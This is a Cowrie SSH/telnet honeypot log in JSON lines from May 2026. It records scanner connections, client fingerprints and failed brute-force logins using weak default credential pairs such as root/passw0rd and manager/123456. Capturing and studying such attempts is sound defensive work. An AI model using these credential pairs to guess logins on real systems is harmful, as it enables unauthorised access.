{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:39.415555Z","src_ip":"103.75.199.4","session":"adb939e34368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:40.514660Z","src_ip":"103.75.199.4","session":"adb939e34368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":33480,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4ddac62e4bc","protocol":"ssh","message":"New connection: 80.94.92.182:33480 (10.17.0.5:22) [session: f4ddac62e4bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:43.711112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:44.341160Z","src_ip":"80.94.92.182","session":"f4ddac62e4bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:44.344747Z","src_ip":"80.94.92.182","session":"f4ddac62e4bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"psadmin","password":"psadmin","message":"login attempt [psadmin/psadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:45.518500Z","src_ip":"80.94.92.182","session":"f4ddac62e4bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:28:46.753024Z","src_ip":"80.94.92.182","session":"f4ddac62e4bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42746,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0f044a69c49","protocol":"ssh","message":"New connection: 103.75.199.4:42746 (159.203.135.109:22) [session: e0f044a69c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:00.930520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:00.935557Z","src_ip":"103.75.199.4","session":"e0f044a69c49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:01.026663Z","src_ip":"103.75.199.4","session":"e0f044a69c49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:01.301158Z","src_ip":"103.75.199.4","session":"e0f044a69c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:02.395620Z","src_ip":"103.75.199.4","session":"e0f044a69c49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":55468,"dst_ip":"10.17.0.5","dst_port":22,"session":"928792a9d819","protocol":"ssh","message":"New connection: 78.40.37.143:55468 (10.17.0.5:22) [session: 928792a9d819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:19.601353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:19.605619Z","src_ip":"78.40.37.143","session":"928792a9d819","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:19.688559Z","src_ip":"78.40.37.143","session":"928792a9d819","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manager","password":"123456","message":"login attempt [manager/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:20.057728Z","src_ip":"78.40.37.143","session":"928792a9d819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:21.175687Z","src_ip":"78.40.37.143","session":"928792a9d819","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":41992,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e778b89210f","protocol":"ssh","message":"New connection: 103.75.199.4:41992 (159.203.135.109:22) [session: 0e778b89210f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:22.866546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:22.870610Z","src_ip":"103.75.199.4","session":"0e778b89210f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:22.965938Z","src_ip":"103.75.199.4","session":"0e778b89210f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:23.254422Z","src_ip":"103.75.199.4","session":"0e778b89210f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:24.352130Z","src_ip":"103.75.199.4","session":"0e778b89210f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58270,"dst_ip":"159.203.135.109","dst_port":22,"session":"978f236be688","protocol":"ssh","message":"New connection: 103.75.199.4:58270 (159.203.135.109:22) [session: 978f236be688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:44.812126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:44.819358Z","src_ip":"103.75.199.4","session":"978f236be688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:44.911320Z","src_ip":"103.75.199.4","session":"978f236be688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:45.185552Z","src_ip":"103.75.199.4","session":"978f236be688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:29:46.280027Z","src_ip":"103.75.199.4","session":"978f236be688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":44380,"dst_ip":"10.17.0.5","dst_port":23,"session":"13c7cf0a5dd1","protocol":"telnet","message":"New connection: 132.148.22.172:44380 (10.17.0.5:23) [session: 13c7cf0a5dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:04.807939Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":44650,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cff747b2763","protocol":"telnet","message":"New connection: 132.148.22.172:44650 (10.17.0.5:23) [session: 4cff747b2763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:05.768570Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53612,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad5ae47297a1","protocol":"ssh","message":"New connection: 103.75.199.4:53612 (159.203.135.109:22) [session: ad5ae47297a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:06.812010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:06.821880Z","src_ip":"103.75.199.4","session":"ad5ae47297a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:06.914766Z","src_ip":"103.75.199.4","session":"ad5ae47297a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:07.193323Z","src_ip":"103.75.199.4","session":"ad5ae47297a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:08.288457Z","src_ip":"103.75.199.4","session":"ad5ae47297a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":45322,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fa1ba1cab2d","protocol":"telnet","message":"New connection: 132.148.22.172:45322 (10.17.0.5:23) [session: 0fa1ba1cab2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:09.551868Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":45390,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a32265d3829","protocol":"telnet","message":"New connection: 132.148.22.172:45390 (10.17.0.5:23) [session: 9a32265d3829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:10.520041Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":48182,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3c161df6d38","protocol":"ssh","message":"New connection: 78.40.37.143:48182 (10.17.0.5:22) [session: a3c161df6d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:25.398184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:25.403516Z","src_ip":"78.40.37.143","session":"a3c161df6d38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:25.486970Z","src_ip":"78.40.37.143","session":"a3c161df6d38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:25.850594Z","src_ip":"78.40.37.143","session":"a3c161df6d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:26.937400Z","src_ip":"78.40.37.143","session":"a3c161df6d38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":49056,"dst_ip":"159.203.135.109","dst_port":22,"session":"f38db9dd3dec","protocol":"ssh","message":"New connection: 103.75.199.4:49056 (159.203.135.109:22) [session: f38db9dd3dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:28.748139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:28.752366Z","src_ip":"103.75.199.4","session":"f38db9dd3dec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:28.844147Z","src_ip":"103.75.199.4","session":"f38db9dd3dec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:30:29.119549Z","src_ip":"103.75.199.4","session":"f38db9dd3dec","protocol":"ssh"}
